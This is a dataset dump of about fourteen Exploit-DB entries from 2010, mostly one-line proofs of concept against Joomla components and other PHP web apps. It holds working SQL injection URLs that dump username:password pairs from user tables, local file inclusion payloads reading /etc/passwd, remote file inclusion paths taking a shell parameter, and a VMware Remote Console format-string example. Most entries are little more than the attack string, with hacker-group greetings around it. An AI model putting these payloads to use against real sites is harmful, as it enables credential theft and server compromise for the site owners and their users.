QLWD/code_shield huggingface dataset:
标题: Almnzm 2.1 - SQL Injection EDB-ID: 12220 CVE: 2010-5055 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-14 漏洞利用脚本: # Title: almnzm 2.1 <= SQL Injection Vulnerability
# Author: NeX HaCkEr
# Published: 2010-04-14
# Contact= error_log@hotmail.com
#Script site :http://www.almnzm.com




[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = SQL Injection
Example URL = index.php?a=pages&id=3' and 1=0 UnIon aLL Select 1,2,concat(username,0x3a,password),4,5,6,7 from almnzm_customers--%20


[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]




[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]
>> Greetz
= Dr.DaShEr, DaMI, dr.kasber, RmZ AlJnooP =
[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12220
标题: Joomla! Component QPersonel 1.0.2 - SQL Injection EDB-ID: 12200 CVE: 2010-1720 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-13 漏洞利用脚本: # Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability
# Date: 13.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: XSS security fix from 31.12.2009, 1.02 and before
# Tested on: Debian Lenny, MySQL 5
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = Joomla Component QPersonel SQL Injection Vulnerability
|:: By = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = QPersonel
|:: Vendor = Q-PROJE
|:: Vendor Website = http://www.qproje.com/
|:: Affected Versions = XSS security fix from 31.12.2009, 1.02 and before
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Vulnerable File(s) = qpersonel.php
|:: Vulnerable Parameter(s) = katid
|:: Example URL = index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(database(),user())--
|:: Selected information gets displayed within the title tag.
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory Published = 13.04.2010
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12200
标题: Joomla! Component SermonSpeaker - SQL Injection EDB-ID: 12184 CVE: 2010-1559 2010-1477 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: # Title:Joomla Component com_sermonspeaker SQL Injection Vulnerability 
# Author: SadHaCkEr
# Data  : 2010-04-12
 
[~]######################################### InformatioN #############################################[~]

#AUTHOR:            SadHaCkEr                                                
#Email:             n5s@hotmail.[choose ANY ONE]   IF U lucky  U will Find Me                             
#Website:           http://www.sadx.297m.com/                                
#Forum :            http://v4-team.net/cc                                    
    
[~]#########################################   ExploiT   #############################################[~]
  
[~] Vulnerable  :
  
http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL]
  
[~] ExploiT         :
  
-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/
  
[~] Example         :
  
http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=
-9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/

 
   
[~]######################################### ThankS To ... ############################################[~]
  
[~] Special Thanks 2 :
  
RoMaNcYxHaCkEr, Mr.Safa7, Mn7oS & Sniper Code & Red Virus & HCJ & Mr.Wolf & ayaster & All Trayg Member .
  
[~] Trayg Team + V4-Team + SVT Team 
  
[~] GreetZ 2: My LoV3r + My Keyboard
 
[~]#########################################  ./Done   #############################################[~] URL: https://www.exploit-db.com/exploits/12184
标题: Openurgence vaccin 1.03 - Local File Inclusion / Remote File Inclusion EDB-ID: 12193 CVE: 2010-1467 2010-1466 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-13 漏洞利用脚本: =====================================================================
Openurgence vaccin 1.03 (RFI/LFI) Multiple File Include Vulnerability
=====================================================================

[+] Openurgence vaccin 1.03 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/gen/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/injection.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/utilisateur.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/laboratoire.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/vaccin.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/effetsecondaire.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/medecin.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/individu.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-13] URL: https://www.exploit-db.com/exploits/12193
标题: Joomla! Component Jvehicles 1.0/2.0 - 'aid' SQL Injection EDB-ID: 12190 CVE: 2010-1873 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-13 漏洞利用脚本: /**************************************************************************

[!] Joomla Component Jvehicles (aid) SQL Injection Vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://indonesiancoder.com
[!] Date : Mon, April 12, 2010
[!] Tune in : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[>] Vendor : http://www.jvehicles.com
[>] Download : http://www.jvehicles.com/index.php?option=com_remository&Itemid=6&func=fileinfo&id=6&#9001;=en
[>] Version : 1.0 and 2.0
[>] License : GPL
[>] Type : Non-Commercial
[>] Method : SQL Injection

========================================================

[ Proof of Concept ]

http://server/path/index.php?option=com_jvehicles&task=agentlisting&aid=31337

========================================================

[ Cheers ]

[>] Chip D3 Bi0s : find the 1st bug with method Local File Inclusion
[>] Indonesian Coder Team - AntiSecurity - ServerIsDown - SurabayaHackerLink
[>] My brother M364TR0N - kaMtiEz - Gonzhack - El N4ck0 - ibl13Z - arianom - YaDoY666 - ./Jack-
[>] elv1n4 - xshadow - SAINT - Cyb3r_tr0n - M3NW5 - Pathloader - Mboys - Contrex - amxku - inj3ct0r
[>] xnitro @xtremenitro.org - DraCoola - r3m1ck - Senot - ran - CherCut
[>] James Brown & Todd @packetstormsecurity.org - Maksymilian & sp3x @securityreason.com


[ Notes ]

[>] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM URL: https://www.exploit-db.com/exploits/12190
标题: VMware Remote Console e.x.p build-158248 - Format String EDB-ID: 12188 CVE: 2009-3732 类型: DOS 平台: MULTIPLE 发布日期: 2010-04-12 漏洞利用脚本: [DSECRG-09-053] VMware Remote Console - format string vulnerability
http://www.dsecrg.com/pages/vul/show.php?id=153

VMrc vulnerable to format string attacks. Exploitation of this issue may lead to arbitrary code execution on the system where VMrc is installed.

Digital Security Research Group [DSecRG] Advisory DSECRG-09-053


Application: VMware Remoute Console
Version: e.x.p build-158248
Vendor URL: http://vmware.com
Bugs: Format String Vulnerabilitys
Exploits: YES (PoC)
Reported: 07.08.2009
Vendor response: 13.08.2009
Date of Public Advisory: 09.04.2010
CVE: CVE-2009-3732
VSA: VMSA-2010-0007
Authors: Alexey Sintsov of
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
********

VMware Remote Console Plug-in can be installed from WEB
interface of VMware vSphere. This software contains of ActiveX
objects and executable files for remote console of guest OS.
VMrc vulnerable to format string attacks. Exploitation of this issue
may lead to arbitrary code execution on the system where VMrc is installed.


Details
*******

Attacker can make shortcut with special parameters for
vmware-vmrc.exe and bad MOID or HOST parameter. If a user try to use
this shortcut to connect to vSphere server he will see next message
box:

"Error opening the remote virtual
machine HOST\MOID: The object has already been deleted
or has not been completely created."

If user name or password will be incorrect the user also gets error
message box.

Parameters HOST and MOID are addicted to format injection.

Also this vuln. can be exploited remotely by special crafted html page.

ActiveX element: clsid:B94C2238-346E-4C5E-9B36-8CC627F35574

Attacker can rewrite stack data and may be it's possible to code
execution.



Example(shortcut):
*****************

C:\Program Files\Common Files\VMware\VMware Remote Console Plug-in>vmware-vmrc.exe -u vmware_user -h HOST -M AAAA:%x.%x.%x.%x.:BBBB

VMDlg::ShowDialog: Error opening the remote virtual machine
HOST\AAAA:3455600.78138a94.100012b2.28e27b0.:BBBB:

Example(ActiveX):
****************

objectVMRC.connect ("host" ,"username" ,"password",
"%x:%x:%x:%x:%x:%x:%x:%x:%x" ,"X" ,2);


Fix Information
***************
VMware has released the following patch for
ESX 4.0: ESX400-200911223-UG

Also this issue solved in vCenter 4.0 Update 1

References
**********

http://dsecrg.com/pages/vul/show.php?id=153
http://lists.vmware.com/pipermail/security-announce/2010/000090.html

About
*****

Digital Security is leading IT security company in Russia,
providing information security consulting, audit and penetration
testing services, risk analysis and ISMS-related services and
certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database
security problems with vulnerability reports, advisories and whitepapers
posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com URL: https://www.exploit-db.com/exploits/12188
标题: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion EDB-ID: 12182 CVE: 2010-1474 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: ==================================================================================================================


  [o] Joomla Component Sweetykeeper Local File Inclusion Vulnerability
 
       Software : com_sweetykeeper version 1.5.x
       Vendor   : http://www.joomlacorner.com/
       Download : http://joomlacode.org/gf/project/thai/frs/?action=FrsReleaseView&release_id=9191
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_sweetykeeper&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12182
标题: Joomla! Component Online Market 2.x - Local File Inclusion EDB-ID: 12177 CVE: 2010-1722 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: ============================================================================================================


  [o] Joomla Component Online Market Local File Inclusion Vulnerability
 
       Software : com_market version 2.x
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_market&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


============================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12177
标题: Joomla! Component Online Exam 1.5.0 - Local File Inclusion EDB-ID: 12174 CVE: 2010-1715 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: ================================================================================================================


  [o] Joomla Component Online Exam Local File Inclusion Vulnerability
 
       Software : com_onlineexam version 1.5.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_onlineexam&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12174
标题: Joomla! Component Address Book 1.5.0 - Local File Inclusion EDB-ID: 12170 CVE: 2010-1471 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component AddressBook Local File Inclusion Vulnerability
 
       Software : com_addressbook version 1.5.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_addressbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12170
标题: Joomla! Component Arcade Games 1.0 - Local File Inclusion EDB-ID: 12168 CVE: 2010-1714 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component Arcade Games Local File Inclusion Vulnerability
 
       Software : com_arcadegames version 1.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_arcadegames&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12168
标题: Joomla! Component Web TV 1.0 - Local File Inclusion EDB-ID: 12166 CVE: 2010-1470 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: ===========================================================================================================


  [o] Joomla Component Web TV Local File Inclusion Vulnerability
 
       Software : com_webtv
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_webtv&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00


===========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12166
标题: Joomla! Component Advertising 0.25 - Local File Inclusion EDB-ID: 12171 CVE: 2010-1473 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component Easy Ad Banner Local File Inclusion Vulnerability
 
       Software : com_advertising version 0.25
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_advertising&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12171
标题: Joomla! Component Horoscope 1.5.0 - Local File Inclusion EDB-ID: 12167 CVE: 2010-1472 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component Horoscope Local File Inclusion Vulnerability
 
       Software : com_horoscope
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_horoscope&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===============================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12167